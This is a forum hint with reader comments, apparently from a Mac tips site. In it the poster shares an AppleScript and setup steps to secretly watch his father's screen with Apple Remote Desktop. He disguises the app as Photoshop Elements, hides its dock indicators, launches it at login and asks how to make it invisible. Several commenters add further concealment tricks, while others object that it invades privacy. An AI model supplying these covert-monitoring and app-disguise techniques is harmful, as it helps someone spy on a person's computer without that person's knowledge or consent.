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Share remote screens at startup with Remote Desktop Apps
I always wanted to watch my dad's computer screen through my own computer, but I wanted to do it so that he wouldn't know I'm watching him. So I made a script. Note: You'll need to have Apple Remote Desktop 1.2 Admin and Client, and Apple's GUI Scripting extensions.

Also, I made a copy of Remote Desktop, renamed it Photoshop Elements 2 and put the Photoshop Elements icon on Remote Desktop, and replaced the original Elements icon that was already on his dock with my version.

[robg adds: Read the rest of the hint for the script, and this hint is presented in the interest of fun, not hacking -- clearly, to make this work, you already have to have direct access to the other machine to set everything up, so this isn't much of a security threat.]


tell application "Photoshop Elements 2"
  activate
  tell application "System Events"
    tell process "Remote Desktop"
      tell menu bar 1
        click menu "Setup"
          tell menu "Setup"
            click menu item 1
            delay 2
            tell window "Computers"
              key down return
              key up return
              delay 2
            end tell
          end tell
          click menu item "Select All" of menu 4
          click menu "Interact"
          tell menu "Interact"
          click menu item 1
        end tell
      end tell
    end tell
  end tell
end tell
delay 2
tell application "Photoshop Elements 2"
  tell application "System Events"
    tell process "Remote Desktop"
      tell window "Share Screen"
        key down return
        key up return
      end tell
    end tell
  end tell
end tell
tell application "System Events"
  tell process "Remote Desktop"
    tell menu bar 1
      click menu item "Hide Remote Desktop" of menu 2
    end tell
  end tell
end tell
Detail is everything: I also downloaded Application Enhancer and ClearDock so that the little black arrows on the dock wouldn't show telling my dad that RD was open. As a finishing touch, I saved the script as a program and added it to the Login Items preference pane.

P.S.: I'd REALLY love for this whole process to run invisibly. Does anyone know how?
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Share remote screens at startup with Remote Desktop | 13 comments | Create New Account
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Another way
Authored by: MacOSXAddict on Sep 24, '03 11:25:41AM

I rember seeing an application that will remove a running application from the dock entirely. It was on the same site as iPodrip. It's called Echidna. You could write a script to load Echidna remove itself, than load remote desktop and remove it too allong with any other apps you like. I would think the only way to see the removed apps would be through the top command, of the gui equivilent.

Bob



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: Anonymous on Sep 24, '03 11:31:24AM

why don't you just launch remote desktop from your machine and 'observe' his?

---
\"It is better to deserve honors and not have them than to have them and not deserve them.\"
-Mark Twain



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: n9yty on Sep 24, '03 12:03:53PM

Certainly this seems a better answer (using Observe from your computer)... There is a checkbox in the Remote Desktop preferences panel so it won't show when they are being observed.



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: mm2270 on Sep 24, '03 11:56:32AM

I'm not sure I understand the point of going thru all this, when you can just launch RD on your Mac and (assuming you've set it up correctly on the other computer) simply use the Observe command. You can even make it so the little "eyes" don't show up in the menu bar, so they won't know you're watching. I have all the Macs I manage at work set this way, so I can see what's going on if I needed to, without having to run a bunch of scripts. Unless I missing something here?

Besides, doesn't RD always require an Admin password to be entered when launched? How does the script get around that? I don't see a reference to entering a password anywhere.



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: rgray on Sep 24, '03 12:02:02PM
'I always wanted to watch my dad's computer screen through my own computer, but I wanted to do it so that he wouldn't know I'm watching him.'

Does your Dad know about this? Does the term "invasion of privacy" mean anything? Uh, just a tho't, but you aren't one of my kids are you..... ;-?

[ Reply to This | # ]

Share remote screens at startup with Remote Desktop
Authored by: mervTormel on Sep 24, '03 01:00:04PM

this is considered bad form, even unfun, heinous behavior. if you pursue this, you'll rue the day.



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Share remote screens at startup with Remote Desktop
Authored by: osxpounder on Sep 24, '03 03:33:15PM

mervTormel: I agree; it's just wrong! But I'm glad the discussion came up here. so that we can look out for such shenanigans when they might be inflicted on us or on the users we support.

Love that username, btw.

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--
osxpounder



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Hiding the process
Authored by: brettcar on Sep 24, '03 05:20:02PM

Just a guess. Go into the .app you want to "hide." Right click the icon, select show package contents. Open the plist (info.plist??). You can use Apple's plist editing program (with devtools) or edit it as text/by hand. Just add an entry:

LSUIElements

and set it's value to "1". That's the STRING (with quotes) 1, not just 1.



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Share remote screens at startup with Remote Desktop
Authored by: wwelsh39 on Sep 24, '03 09:48:33PM

You may find out something you don't want to know. Besides which, this IS an INVASION OF PRIVACY!!! Would you want your father to do this to you??? I'm not impressed with the editor of MACOS X HINTS for publishing this either! I've only been viewing MACOS X HINTS for a few weeks and really like it. This is the first "HINT" I really take exception to. Please remove it from your site. Thanks!



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Share remote screens at startup with Remote Desktop
Authored by: sjmills on Sep 24, '03 10:21:04PM

Privacy schmivacy. It's his own family. It's no different than a parent snooping through a kid's web history/cache to see what [s]he's been up to. Besides, which is worse, intra-family invasion of privacy or stifling freedom of speech by saying this hint should be removed?



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: Mikey-San on Sep 25, '03 09:26:45AM

Calm down, dude.

Apple Remote Desktop has a feature built right in called "Observe". It does exactly what this convoluted script mess wants to do, with no odd, complex tricks.

This isn't a bad hint, it's a non-hint.



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: Fuzzle on Sep 25, '03 10:05:44PM

[robg adds: Read the rest of the hint for the script, and this hint is presented in the interest of fun, not hacking -- clearly, to make this work, you already have to have direct access to the other machine to set everything up, so this isn't much of a security threat.]

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___
This space intentionally left blank.



[ Reply to This | # ]
Share remote screens at startup with Remote Desktop
Authored by: stukoch on Sep 25, '03 03:46:08PM

Haven't read the comments yet, but I'm sure its been mentioned over a dozen times that you can just "Observe".

Funny, when I read this I remebered the days of snooping around my Dad's closet for new copies of Playboy. Times are changing...

-Stuart



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